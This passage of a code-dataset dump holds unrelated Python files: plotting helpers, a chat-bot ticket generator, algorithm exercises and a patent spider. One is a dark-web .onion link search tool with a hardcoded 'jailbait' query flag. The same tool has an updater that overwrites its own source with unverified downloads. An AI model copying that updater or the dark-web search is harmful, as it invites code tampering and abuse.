adj.vector)\n","repo_name":"emar27181/my-NLP-project","sub_path":"tmp/tryAdjectiveClass.py","file_name":"tryAdjectiveClass.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"19231542893","text":"from io import BytesIO\n\nfrom PIL import Image, ImageDraw, ImageFont\nfrom get_avatar import get_avatar\n\nBLACK = (0, 0, 0, 255)\nFONT_PATH = \"files/ofont_ru_Primus.ttf\"\nTEMPLATE_PATH = \"files/ticket_template.png\"\nCOLOR = BLACK\n\n\ndef generate_ticket(first_name, last_name, city_from, city_to, data) -> object:\n \"\"\"Создание билета для отправки пользователю\"\"\"\n base = Image.open(f\"{TEMPLATE_PATH}\").convert(\"RGBA\")\n font = ImageFont.truetype(f\"{FONT_PATH}\", 18)\n draw = ImageDraw.Draw(base)\n name = last_name + \" \" + first_name\n avatar = get_avatar()\n draw.text((47, 124), name, font=font, fill=COLOR)\n draw.text((47, 194), city_from, font=font, fill=COLOR)\n draw.text((47, 260), city_to, font=font, fill=COLOR)\n draw.text((286, 260), data, font=font, fill=COLOR)\n base.paste(avatar, (287, 70))\n temp_file = BytesIO()\n base.save(temp_file, 'png')\n temp_file.seek(0)\n return temp_file\n","repo_name":"Artemies1253/Vk_chat_bot","sub_path":"generate_ticket.py","file_name":"generate_ticket.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"27102289208","text":"import cycle_detection as cd\nimport sys\nsys.path.append('/home/ved/Documents/Skills/progrmming/Algorithms/Graphs/adjacency_list')\nimport adli_without_weight as al\n\nver= input(\"list down all vertices of the graph as a string: \")\nvlist=list(ver)\nprint(\"No of vertices in the graph is \"+str(len(vlist)))\n# print(\"\\nEnter type of graph\",end=\"\")\n# type=input(\"d for directed un for undirected: \")\nprint(\"\\nList down edges of the graph\")\ned=input(\"eg. 12,23,31 and so on..\")\nprint(\"No. of edges in the graph is \"+str(len(ed.split(','))))\na=al.create_adjacency_list(ed, vlist)\nc=cd.iscycle(a,vlist)\nif c==True:\n print('Graph contains cycle')\nelse:\n print('Graph does not contain cycle')","repo_name":"vedevil/Data-structures","sub_path":"Graphs/cycle_detection/Runner.py","file_name":"Runner.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9789185497","text":"import matplotlib\n#matplotlib.use(\"qt4agg\")\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom matplotlib.patches import Ellipse\nimport seaborn as sns\nfrom matplotlib.path import Path\nimport os\n\n#plt.ion()\n#plt.show(block=False)\n\n'''\nSMALL_SIZE = 8\nMEDIUM_SIZE = 10\nBIGGER_SIZE = 12\n\nplt.rc('font', size=SMALL_SIZE) # controls default text sizes\nplt.rc('axes', titlesize=SMALL_SIZE) # fontsize of the axes title\nplt.rc('axes', labelsize=MEDIUM_SIZE) # fontsize of the x and y labels\nplt.rc('xtick', labelsize=SMALL_SIZE) # fontsize of the tick labels\nplt.rc('ytick', labelsize=SMALL_SIZE) # fontsize of the tick labels\nplt.rc('legend', fontsize=SMALL_SIZE) # legend fontsize\nplt.rc('figure', titlesize=BIGGER_SIZE) # fontsize of the figure title\n\n'''\n\n\nclass dynamic_hist():\n def __init__(self,ax,resol=1,c='g',label='',point_flag = False,save=False,plot_n=-1):\n self.point_flag = point_flag\n self.ax = ax\n self.save = save\n self.x,self.y = np.array([]),np.array([])\n self.c = c\n self.resol = resol\n self.bin_width = resol - (resol*0.1)\n self.offset = resol/2\n self.bins=np.arange(0,100+resol,resol)\n self.plot_n = plot_n\n hist, bins = np.histogram([], [],normed=True,density = True)\n self.sp = []\n self.sliding_window = 10\n\n \n #self.sp = self.ax.hist(hist,bins = bins, color= self.c,alpha=0.7,label=label)\n #self.sp = self.ax.bar(bins,hist)\n # Change width depending on your bins\n # Change width depending on your bins\n self.label = label\n\n def update_plot_elem(self,x,color=[],arg={}):\n x *=100\n nplots = arg['n_plots']\n width = self.bin_width/nplots\n bin_init_offset = self.bin_width/2\n if self.save == True:\n self.x = np.append(self.x,x)\n else: \n self.x = x\n\n \n #min_v = min(self.x)\n #max_v = max(self.x)\n\n #self.bins = np.arange(min_v,max_v)\n hist, bins = np.histogram(self.x, self.bins,normed=True,density = True)\n \n max_val = hist.sum()\n norm_hist = hist/max_val\n if len(self.sp)==0:\n bar_bins = bins[:-1] + self.offset - bin_init_offset + (self.plot_n*width)\n self.sp = self.ax.bar(\n bar_bins,\n hist,\n width=width,\n label=self.label)\n else:\n for i in range(len(self.sp)):\n self.sp[i].set_height(hist[i])\n #hist, bins = np.histogram(self.x, self.bins,normed=True,density = True)\n #self.sp[0] = hist\n #self.sp[1] = bins\n # self.ax.hist(hist,bins = bins, color= self.c,alpha=0.7,label=self.label)\n\nclass dynamic_scatter():\n def __init__(self,ax,c='g',label='',point_flag = False,save=False,**arg):\n self.point_flag = point_flag\n self.ax = ax\n self.save = save\n self.x,self.y = np.array([]),np.array([])\n self.marker = 'o'\n self.scale = 20\n if 'marker' in arg:\n self. marker = arg['marker']\n \n if 'scale' in arg: \n self.scale = arg['scale'] \n\n self.sp = self.ax.scatter([],[],s =self.scale ,c = c,marker = self.marker, label= label)\n \n def update_plot_elem(self,x,y,color=[],arg = {}):\n \n if self.save == True:\n self.x = np.append(self.x,x)\n self.y = np.append(self.y,y)\n #self.y.append(y)\n else: \n self.x = x\n self.y = y\n \n data = np.c_[self.x,self.y]\n self.sp.set_offsets(data)\n\nclass dynamic_plot_elm(): \n def __init__(self,ax,c='g',label='',point_flag = False ,save=False , **kwarg):\n self.point_flag = point_flag\n self.window = kwarg['window']\n self.ax = ax\n self.color = c \n \n linestyle = '-'\n scale = 2\n\n if 'scale' in kwarg:\n scale = kwarg['scale']\n\n if 'linestyle' in kwarg:\n linestyle = kwarg['linestyle']\n\n self.fill = self.ax.fill_between([],[],color=c)\n self.p, = self.ax.plot([],[],color = c,label=label,linewidth=scale,linestyle = linestyle)\n \n self.save = save\n self.x,self.y = np.array([]),np.array([])\n \n def fill_area(self,std):\n\n self.fill.remove()\n low_y = self.y-std\n up_y = self.y+std\n self.fill = self.ax.fill_between(self.x,up_y,low_y,edgecolor='#1B2ACC', facecolor='#1B2ACC',alpha=0.3)\n \n def update_plot_elem(self,x,y,color=[],arg={}):\n \n if self.save == True:\n self.x = np.append(self.x,x)\n self.y = np.append(self.y,y)\n else: \n self.x = x\n self.y = y\n\n df = pd.DataFrame({'x':self.x ,'y':self.y})\n\n if len(self.x)>self.window and self.window >0 :\n # calculate a 60 day rolling mean and plot\n mean_pts = df.rolling(window=self.window).mean()\n\n mpx = mean_pts['x'][pd.isna(mean_pts['x']) == False].to_numpy()\n mpy = mean_pts['y'][pd.isna(mean_pts['y']) == False].to_numpy()\n\n std_pts = df.rolling(window=self.window).std()\n stdx = std_pts['x'][pd.isna(mean_pts['x']) == False].to_numpy()\n stdy = std_pts['y'][pd.isna(mean_pts['y']) == False].to_numpy()\n\n self.p.set_data(mpx,mpy)\n self.fill.remove()\n self.fill = self.ax.fill_between(mpx,mpy-stdy,mpy+stdy,edgecolor='#1B2ACC', facecolor='#1B2ACC',alpha=0.3)\n else:\n self.p.set_data(self.x,self.y)\n\n if self.point_flag == True:\n self.sp.set_offsets(np.c_[self.x,self.y])\n\n if color != []:\n self.p.set_color(color)\n\n def get_data(self):\n return(self.x, self.y)\n\nclass dynamic_plot(dynamic_plot_elm): \n def __init__(self,title='',xlabel='',ylabel='',**arg):\n\n SMALL_SIZE = 8\n MEDIUM_SIZE = 10\n BIGGER_SIZE = 10\n fontsize = {'xtick':BIGGER_SIZE,\n 'ytick':BIGGER_SIZE,\n 'title':BIGGER_SIZE,\n 'axis':BIGGER_SIZE,\n 'legend':BIGGER_SIZE,\n 'labels':BIGGER_SIZE,\n 'figure':BIGGER_SIZE\n }\n\n if 'fontsize' in arg:\n fontsize = arg['fontsize']\n # Set fontsize\n self.set_fontsize( **fontsize)\n\n self.fig, self.ax = plt.subplots()\n self.title = title\n # Set title\n self.ax.set_title(title)\n # Set label\n self.ax.set_xlabel(xlabel)\n self.ax.set_ylabel(ylabel)\n\n self.n_plots = 0\n self.plot_v = {}\n self.xx_bag = []\n self.yy_bag = []\n self.framework= [] \n self.keys = []\n\n def set_fontsize(self,**fontsize):\n # matplotlib.rcParams.update({'font.size': arg['fontsize']['axis']})\n\n if 'text'in fontsize:\n plt.rc('font', size=fontsize['text'])\n if 'labels'in fontsize:\n plt.rc('axes', labelsize=fontsize['labels'])\n if 'xtick'in fontsize:\n plt.rc('xtick', labelsize=fontsize['xtick'])\n if 'ytick'in fontsize:\n plt.rc('ytick', labelsize=fontsize['ytick'])\n if 'legend'in fontsize:\n plt.rc('legend', fontsize=fontsize['legend'])\n if 'title'in fontsize:\n plt.rc('figure', titlesize=fontsize['title'])\n if 'axistitle'in fontsize:\n plt.rc('axes', titlesize=fontsize['axistitle'])\n\n def add_plot(self,key,color='r',point_flag = False, save = False,framework = 'line',label='', **kwarg):\n self.n_plots += 1\n self.framework.append(framework)\n self.keys.append(key)\n\n if framework == 'line':\n plot_elm = dynamic_plot_elm(self.ax,c=color,point_flag=point_flag,save=save,label=label,**kwarg)\n elif framework == 'scatter':\n plot_elm = dynamic_scatter(self.ax,c=color,point_flag=point_flag,save=save,label=label,**kwarg)\n elif framework == 'hist':\n plot_elm = dynamic_hist(self.ax,c=color,label=label,point_flag=point_flag,save=save,plot_n=self.n_plots)\n self.plot_v[key]=plot_elm\n \n\n def update_plot(self,key,x,y,color=[]):\n if self.framework == 'hist':\n self.plot_v[key].update_plot_elem(x,y,arg={'n_plots':self.n_plots})\n else:\n self.plot_v[key].update_plot_elem(x,y)\n\n self.xx_bag = np.append(self.xx_bag,x)\n self.yy_bag = np.append(self.yy_bag,y)\n\n #def save_data(self,name):\n def addon(self,key,**arg):\n if 'fill' in arg:\n self.plot_v[key].fill_area(arg['fill'])\n\n def axis_adjust(self,offset=0,**arg):\n\n x = self.xx_bag \n y = self.yy_bag\n \n if 'axis' in arg:\n axis = arg['axis']\n self.ax.axis([axis['xmin'], axis['xmax'], axis['ymin'],axis['ymax']])\n else:\n #if len(x) 0 and len(y) > 0:\n xmax,xmin= max(x),min(x)\n ymax,ymin = max(y),min(y)\n self.ax.axis([xmin - offset, xmax + offset, ymin - offset, ymax + offset])\n #else: \n # xmax,xmin= max(x[-zoom:]),min(x[-zoom:])\n # ymax,ymin = max(y[-zoom:]),min(y[-zoom:])\n\n \n def get_data(self,label):\n return(self.plot_v[label].get_data())\n\n def save_data_file(self,root):\n if not os.path.isdir(root):\n os.makedirs(root)\n file = os.path.join(root,self.title)\n print(\"[INF] File: \" + file)\n \n with open(file,'w') as f: \n for key, value in self.plot_v.items():\n x,y = value.get_data()\n \n str_x = key + ':x:' + ' '.join([str(round(v,3)) for v in x])\n str_y = key + ':y:' + ' '.join([str(round(v,3)) for v in y])\n \n f.write(str_x + '\\n')\n f.write(str_y + '\\n')\n print(\"[INF] Saved Label: \" + key)\n #file = os.path.join(path,label)\n \n \n def show(self,time=0.0001,offset=0.1,**arg):\n self.ax.legend()\n fontsize=16\n if 'axis' in arg:\n axis = arg['axis']\n self.axis_adjust(offset=offset,axis=axis)\n else:\n self.axis_adjust(offset=offset)\n \n self.fig.canvas.draw()\n if 'grid_on' in arg:\n grid_on = arg['grid_on']\n if grid_on == True:\n self.ax.grid(True)\n\n #plt.draw()\n #plt.pause(0.001)\n plt.pause(time)\n \n def hold_fig(self):\n plt.show()","repo_name":"Cybonic/AttDLNet","sub_path":"utils/dynamic_plot_lib_v3.py","file_name":"dynamic_plot_lib_v3.py","file_ext":"py","file_size_in_byte":10732,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"5"} +{"seq_id":"32020795503","text":"# The current (2022) edition of thedevilseye is called Hellfire\n\nimport logging\nimport requests\nimport argparse\nimport urllib.request\nfrom tqdm import tqdm\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nfrom lib.colors import red,white,green,reset\n\nclass thedevilseye:\n def __init__(self,args,start_time):\n if args.update:\n \tself.update()\n elif args.jailbait:\n \tself.uri = f'https://ahmia.fi/search/?q=jailbait'\n elif args.i2p:\n self.uri = f'https://ahmia.fi/search/i2p/?q={args.query}'\n elif args.licence:\n \texit(self.licence())\n elif args.query:\n self.uri = f'https://ahmia.fi/search/?q={args.query}'\n else:\n exit(f'{white}eye: use {green}-h{white} or {green}--help{white} to show help message.{reset}')\n \n # Fetching search query results \n def search(self):\n request = requests.get(self.uri)\n soup = BeautifulSoup(request.text, 'html.parser')\n \n if soup.ol is None:\n if args.verbose:\n \tlogging.warning(f'{white}No results found for {args.query}. Try a different search.{reset}')\n \texit()\n else:\n a_string = args.query\n if args.verbose:\n \tif args.jailbait:\n \t\ta_string = 'JAILBAIT'\n \tprint(f'\\n\\t{a_string} — thedevilseye | ',start_time.strftime('%A %d %B %Y, %I:%M:%S%p'))\n print(soup.ol.get_text())\n \t\n if args.dump:\n self.dump(soup)\n \n # Dumping output to a specified file \n def dump(self,soup):\n with open(args.dump, 'w') as file:\n file.write(soup.ol.get_text())\n file.close()\n if args.verbose:\n \tlogging.info(f'{white}Output dumped to {green}{args.dump}{reset}')\n \t\n # Reading the LICENSE file \t\t\n def licence(self):\n with open('LICENSE', 'r') as file:\n \tcontent = file.read()\n \tfile.close()\n \treturn content\n \t\n # Update program\n def update(self):\n \tfiles_to_fetch = ['src/main.py','eye','lib/banner.py','lib/colors.py','requirements.txt','README.md','LICENSE']\n \tfor file in tqdm(files_to_fetch,desc=f'{white}* Fetching update(s){reset}'):\n \t\tdata = urllib.request.urlopen(f'https://raw.githubusercontent.com/rly0nheart/thedevilseye/master/{file}').read()\n \t\twith open(file, 'wb') as code:\n \t\t\tcode.write(data)\n \t\t\tcode.close()\n \t\t\t\t\n \tprint(f'{white}* {red}thedevilseye{white} updated successfully. Re-run program.{reset}')\n \texit()\n \t\n\nstart_time = datetime.now()\nparser = argparse.ArgumentParser(description=f'{white}Darkweb .onion link(s) extracting tool{reset}',epilog=f'{white}thedevilseye extracts information (.onion links, descriptions) from the {red}darkweb{white} without requiring a Tor network. Developed by Richard Mwewa | https://about.me/{green}rly0nheart{reset}')\nparser.add_argument('-q','--query',metavar=f'{white}search-query{reset}', help=f'{white}return results related to the search query{reset}')\nparser.add_argument('-i','--i2p',help=f'{white}switch to i2p network search{reset}', action='store_true')\nparser.add_argument('--jailbait',help=f'{white}Ahmia.fi self-help program; {red}The self-help program is primarily intended for people who are worried about their interest, thoughts, feelings or actions concerning children.{white}Learn more at https://ahmia.fi/legal{reset}',action='store_true')\nparser.add_argument('-d','--dump', metavar=f'{white}path/to/file{reset}', help=f'{white}dump output to a specified file{reset}')\nparser.add_argument('-u','--update',help=f'{white}update thedevilseye to the newest version{reset}',action='store_true')\nparser.add_argument('-v','--verbose',help=f'{white}enable verbosity{reset}',action='store_true')\nparser.add_argument('--release-tag',help=f'{white}show program\\'s release tag and exit{reset}',version=f'{white}Hellfire#5 Released on 18th February 2022{reset}',action='version')\nparser.add_argument('--licence','--license',help=f'show program\\'s licen[sc]e and exit',action='store_true')\nargs = parser.parse_args()\nif args.verbose:\n\tlogging.basicConfig(format=f'{white}* %(message)s{reset}',level=logging.DEBUG)\n","repo_name":"RetroPackets/Synthetic-Selfbot","sub_path":"src/tools/thedevilseye/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10009079734","text":"#!/usr/bin/env python2.7\n\nimport sys\nimport requests\nimport json\nimport pprint\n\n# Submit the job and wait for a result.\n\nheaders = {\n 'Content-Type': 'application/json',\n}\n\ndata = { \n 'arguments': { \n 'arg1': 17413412 \n } \n}\n\nis_blocking = False\n\n#url = 'http://mapreduce.local/job/dev/job4'\nurl = 'http://mapreduce.local/job/dev/job4'\n\nif is_blocking is False:\n url += '?blocking=false'\n\nr = requests.post(url, data=json.dumps(data), headers=headers)\nr.raise_for_status()\n\n# Print the result nice.\n\nsys.stderr.write(\"Request ID: [%s]\\n\\n\" % \n (r.headers['X-MR-REQUEST-ID'],))\n\nraw = r.json()\n\nif is_blocking is True:\n result = dict(raw['result'])\n\n # Note that we print using Python native printer rather than printing a JSON \n # structure (which we prefer because it's slighter lighter) because JSON will \n # result with forcibly-stringified keys.\n pprint.pprint(result)\nelse:\n print(\"Response:\\n\\n%s\" % (raw,))\n\n","repo_name":"dsoprea/JobX","sub_path":"dev/post_map_many.py","file_name":"post_map_many.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"5"} +{"seq_id":"25406464698","text":"# Ayush Agarwal-20030480008\nmy_list = []\n# number of elements as input\nn = int(input(\"Enter number of elements : \"))\n# iterating till the range\nfor i in range(0, n):\n ele = int(input())\n # adding the element\n my_list.append(ele)\nnew_list = []\nwhile my_list:\n min = my_list[0]\n for x in my_list:\n if x < min:\n min = x\n new_list.append(min)\n my_list.remove(min)\n\nprint(new_list)","repo_name":"ayushlab4/PythonAssignmentCode","sub_path":"code1.py","file_name":"code1.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"17480522358","text":"from distutils.core import setup, Extension\n\nyescrypt_R32_module = Extension('yescrypt_R32',\n sources = ['yescrypt.c'],\n extra_compile_args=['-march=native', '-funroll-loops', '-fomit-frame-pointer'],\n include_dirs=['.'])\n\nsetup (name = 'yescrypt_R32',\n version = '1.0',\n description = 'Bindings for yescryptR32 proof of work used by WAVI...etc.',\n ext_modules = [yescrypt_R32_module])\n\n","repo_name":"ukkeyHG/yescryptR32_python_module","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"40495134690","text":"#!/usr/bin/python3\n# Problem name:\n# USACO 2013 December Contest, Bronze\n# Problem 2. Cow Baseball\n\n# Link: http://usaco.org/index.php?page=viewproblem2&cpid=359\n\n# Main\nfrom bisect import bisect_left, bisect_right\n\ninput_file = open('baseball.in', 'r')\noutput_file = open('baseball.out', 'w')\n\nN = int(input_file.readline())\nprint(N)\n\npositions = []\nfor _ in range(N):\n positions.append(int(input_file.readline()))\n\npositions.sort()\ntotal = 0\nfor i in range(N):\n for j in range(i + 1, N):\n diff = positions[j] - positions[i]\n low = positions[j] + diff\n high = positions[j] + diff * 2\n left = bisect_left(positions[j:], low)\n right = bisect_right(positions[j:], high)\n total += right - left\n\noutput_file.write(str(total))\n\ninput_file.close()\noutput_file.close()","repo_name":"fernunex/Learn2code","sub_path":"9_algorithms_complete_search/03_cow_baseball.py","file_name":"03_cow_baseball.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23090256339","text":"#dictionaries\nwallet = dict()\nwallet['money'] = 500\nwallet['candy'] = 5\n\nprint(wallet)\n\nwallet['candy'] = wallet['candy']-2\nprint(wallet)\n\n\n#many counter with a dictionary\nccc = dict()\n\ncounts = dict()\nnames = ['sarowar','hossain','mishkat','hossain','mishu','mishkat','mishu']\n\nfor name in names:\n if name not in counts:\n counts[name] = 1\n else:\n counts[name] = counts[name] + 1\n\nprint(counts)\n\n#get method\nx = counts.get('mishkat',0)\nprint(x)\n","repo_name":"shmishkat/PythonForEveryone","sub_path":"Week05/intro.py","file_name":"intro.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18888715937","text":"\"\"\"\nGiven a binary matrix A, we want to flip the image horizontally, then invert it, and return the resulting image.\n\nTo flip an image horizontally means that each row of the image is reversed. For example, flipping [1, 1, 0] horizontally results in [0, 1, 1].\n\nTo invert an image means that each 0 is replaced by 1, and each 1 is replaced by 0. For example, inverting [0, 1, 1] results in [1, 0, 0].\n\nExample 1:\n\nInput: [[1,1,0],[1,0,1],[0,0,0]]\nOutput: [[1,0,0],[0,1,0],[1,1,1]]\nExplanation: First reverse each row: [[0,1,1],[1,0,1],[0,0,0]].\nThen, invert the image: [[1,0,0],[0,1,0],[1,1,1]]\n\nExample 2:\n\nInput: [[1,1,0,0],[1,0,0,1],[0,1,1,1],[1,0,1,0]]\nOutput: [[1,1,0,0],[0,1,1,0],[0,0,0,1],[1,0,1,0]]\nExplanation: First reverse each row: [[0,0,1,1],[1,0,0,1],[1,1,1,0],[0,1,0,1]].\nThen invert the image: [[1,1,0,0],[0,1,1,0],[0,0,0,1],[1,0,1,0]]\n\nNotes:\n\n 1 <= A.length = A[0].length <= 20\n 0 <= A[i][j] <= 1\n\n\n\"\"\"\n\n\nclass Solution(object):\n def flipAndInvertImage(self, A):\n \"\"\"\n :type A: List[List[int]]\n :rtype: List[List[int]]\n 63 ms\n \"\"\"\n result = []\n for i in A:\n # 将返回列表的方法改为了返回迭代器对象py3\n # 返回列表 py2\n result.append(list(map(lambda a:1^a, i[::-1])))\n # print(list(map(lambda x:x**2, [1,1,0])))\n return result\n\n def flipAndInvertImage_1(self, A):\n \"\"\"\n 61ms\n :param A:\n :return:\n \"\"\"\n return [[1 - x for x in A[i][::-1]] for i in range(len(A))]\nprint(Solution().flipAndInvertImage([[1,1,0],[1,0,1],[0,0,0]]))\nprint(Solution().flipAndInvertImage([[1,1,0,0],[1,0,0,1],[0,1,1,1],[1,0,1,0]]))\n","repo_name":"953250587/leetcode-python","sub_path":"FlippingAnImage_832.py","file_name":"FlippingAnImage_832.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33828489048","text":"from threading import Thread\nimport time\n\ndef work(work_id, start, end, result): # 임의 작성 함수\n total=0\n for i in range(start, end): # start 부터 end 직전까지\n total += i\n result.append(total) # result라는 리스트 안에 total이 저장\n\n# 위 함수는 쓰레드와 무관하지만, 쓰레드를 위해서는 함수를 먼저 정의하고, 멀티 쓰레드를 정의해야하기 때문\n\nif __name__ == \"__main__\": # 현재 실행 중인 프로그램인 경우에만 실행\n start = time.time() # 현재 시간을 초단위로 보여줌.\n result=[]\n # 멀티 쓰레드 핵심\n th1 = Thread(target=work, args=(1,0,1000000, result)) # target = 적용시키고 싶은 함수, args 는 해당 함수의 매개변수로 각각 들어감\n th2 = Thread(target=work, args=(2,1000001, 2000000, result))\n\n th1.start()\n th2.start()\n\n # 불완전한 종료를 방지하기 위함\n th1.join() # join() 메소드는 파이썬에게 프로세스가 종료 될 때까지 대기하도록 지시한다.\n th2.join()\n\nprint(result)\n\nprint(sum(result))\n\nprint(time.time()-start) # 위 모든 코드를 실행한 후 시간 - 실행 전 시간\n# 즉, 위 코드를 실행한 시간을 확인","repo_name":"Sianus/US_Study","sub_path":"FastCampus/Test_package/Ch09py파일/9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"71285202712","text":"#根据所要爬取的日期和该日期下有多少页记录,创建任务列表\n\nimport logging\nimport redis\nimport fake_useragent\nimport os\n\nfrom newSpider.KeenDBUtill import KeenDBUtill\nfrom newSpider.KeenRedisUtill import KeenRedisUtill\n\nfrom newSpider.CONSTANT import *\n\n\nclass makeList(object):\n\n #任务列表表前缀\n # TABLE_NAME_PREFIX=\"tb_list_{}\"\n # REDIS_PREFIX=\"list_{}\"\n\n def __init__(self,start,end,totalCnt,totalPage,cnt=50):\n \"\"\"\n @param start: 专利开始的时间点\n @param end: 专利结束的时间点\n @param totalPage: 在start-end这个区间内共有多少个专利\n @param totalPage: 在start-end这个区间内共有多少页专利\n @param cnt: 每页多少个专利,默认50个\n \"\"\"\n\n self.start = start\n self.end = end\n self.totalPage = totalPage\n self.totalCnt = totalCnt\n self.cnt = cnt\n #mysql表名称\n self.mysql_table_name = TABLE_NAME_PREFIX.format(self.start)\n #Redis列表名称\n self.redis_list_name = REDIS_PREFIX + self.start\n\n\n #MYSQL Redis 连接池\n self.mysql_connection_pool = KeenDBUtill.get_connection_pool()\n self.redis_connection_pool = KeenRedisUtill.get_connection_pool()\n\n #日志\n logging.basicConfig(level=logging.INFO, filename=\"makeList.log\",filemode='a', format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n self.logger = logging.getLogger(__name__)\n\n def generate_mysql_list(self):\n \"\"\"\n 创建Mysql任务列表\n 比如2018-01-01这一天更新了50页数据,那么就创建一个名为tb_list_2018-01-01的表,在这个表里插入50条记录,每条记录代表一页的信息存储在content字段里。\n 与此同时,还要再Redis队列里创建50个记录,下一个爬虫从Redis队列里取出数据,爬取,更新content字段。\n @return:\n \"\"\"\n\n\n SQL_CREATE_TABLE_IF_NOT_EXISTS = \"\"\"\n CREATE TABLE If Not Exists `{}` (\n `id` int(11) NOT NULL AUTO_INCREMENT,\n `start` date NOT NULL,\n `end` date NOT NULL,\n `page` int(11) NOT NULL,\n `content` longblob NOT NULL,\n `flag` bit(1) NOT NULL,\n PRIMARY KEY (`id`)\n ) ENGINE=InnoDB DEFAULT CHARSET=latin1\n \"\"\".format(self.mysql_table_name)\n\n SQL_INSERT_TASK_LIST = \"\"\" \n insert into `{}` \n (id,start,end,page,content,flag)\n values \n (NULL,%s,%s,%s,'F',0)\n \"\"\".format(self.mysql_table_name)\n\n connection=None\n cursor = None\n try:\n self.logger.info(\"[MySql]--创建任务表[{}]\".format(self.mysql_table_name))\n connection = self.mysql_connection_pool.connection()\n cursor = connection.cursor()\n cursor.execute(SQL_CREATE_TABLE_IF_NOT_EXISTS)\n self.logger.info(\"[MySql]--创建任务表[{}]完毕\".format(self.mysql_table_name))\n\n self.logger.info(\"[MySql]--插入任务数据,共[{}]条\".format(self.totalPage))\n for i in range(self.totalPage):\n cursor.execute(SQL_INSERT_TASK_LIST, [self.start, self.end, i])\n if(i%10 == 0):\n connection.commit()\n connection.commit()\n self.logger.info(\"[MySql]--插入任务数据完毕\")\n\n\n except Exception as e:\n self.logger.error(e)\n finally:\n if(cursor != None ):\n cursor.close()\n if(connection != None):\n connection.close()\n\n def generate_redis_list(self):\n \"\"\"\n 构建任务队列\n @return:\n \"\"\"\n\n self.logger.info(\"[Redis]--构建Redis任务队列,日期[{}],数目[{}]\".format(self.start,self.totalPage))\n try:\n redis_client = redis.Redis(connection_pool=self.redis_connection_pool)\n for i in range(self.totalPage):\n redis_client.rpush(self.redis_list_name,i+1)\n self.logger.info(\"[Redis]--Redis任务队列构建成功\")\n\n self.logger.info(\"[Redis]--记录专利数目[{}]\".format(self.totalCnt))\n redis_client.set(REDIS_PREFIX_CNT + self.start,self.totalCnt)\n except Exception as e:\n self.logger.error(e)\n\n\n\n\nif __name__ == \"__main__\":\n make_list = makeList('2019-01-01','2019-01-31',664056,13282)\n #make_list.generate_mysql_list()\n make_list.generate_redis_list()\n\n\n\n\n","repo_name":"AshesOfTimee/patent","sub_path":"newSpider/makeList.py","file_name":"makeList.py","file_ext":"py","file_size_in_byte":4513,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74481475032","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport matplotlib.ticker as ticker\nimport json\n\nplt.rcParams['font.family'] = ['Arial']\n\nfontsize = 16\nplt.rcParams['font.size'] = fontsize\nplt.figure(figsize=(7, 6))\n\nnames = [\"alexnet\", \"resnet50\", \"vgg19\", \"googlenet\", \"inceptionv3\", \"squeezenet\", \"bert\"]\ntotal_times = [7120.85874, 1.4477255614E4, 1.9326061621E4, 1.0063983269E4, 1.8342797123E4, 9062.36863, 6830.707]\nactual_times = [2181.769677520752, 9084.002900695801, 14209.016284332276, 4811.087987609863, 12548.20677722168, 3740.8614811401376, 6317.1004415283205]\nplt.tick_params(bottom='off',top='off',left = 'off',right='off')\n\ndef draw(csv_path, total_time):\n data = pd.read_csv(csv_path)\n # print(data)\n # print(data.shape)\n speedups = data.iloc[:, 1].values\n cpu_tol_time = data.iloc[:, 2].values\n gpu_tol_time = data.iloc[:, 3].values\n # cpu_avg_time = data.iloc[:, 4].values\n # gpu_avg_time = data.iloc[:, 5].values\n print(np.sum(gpu_tol_time) / 1000 / total_time)\n \n n = len(speedups)\n\n op_num_per_interval = [n // 10] * 10\n for i in range(n % 10):\n op_num_per_interval[i] += 1\n # print(op_num_per_interval)\n\n speedup_groups = []\n time_groups = []\n cpu_time_groups = []\n gpu_time_groups = []\n\n speedup_group = []\n time_group = []\n cpu_time_group = []\n gpu_time_group = []\n\n index = 0\n for i in range(n):\n speedup_group.append(speedups[i])\n time_group.append(gpu_tol_time[i])\n cpu_time_group.append(cpu_tol_time[i])\n gpu_time_group.append(gpu_tol_time[i])\n\n if len(speedup_group) == op_num_per_interval[index]:\n speedup_groups.append(speedup_group)\n time_groups.append(time_group)\n cpu_time_groups.append(cpu_time_group)\n gpu_time_groups.append(gpu_time_group)\n speedup_group = []\n time_group = []\n cpu_time_group = []\n gpu_time_group = []\n \n index += 1\n speedup_mean = np.array(list(map(np.mean, speedup_groups)))\n # speedup_mean = np.array(list(map(np.sum, cpu_time_groups))) / np.array(list(map(np.sum, gpu_time_groups)))\n time_sum = np.array(list(map(np.sum, time_groups)))\n time_percent = time_sum / 1000 / total_time * 100\n 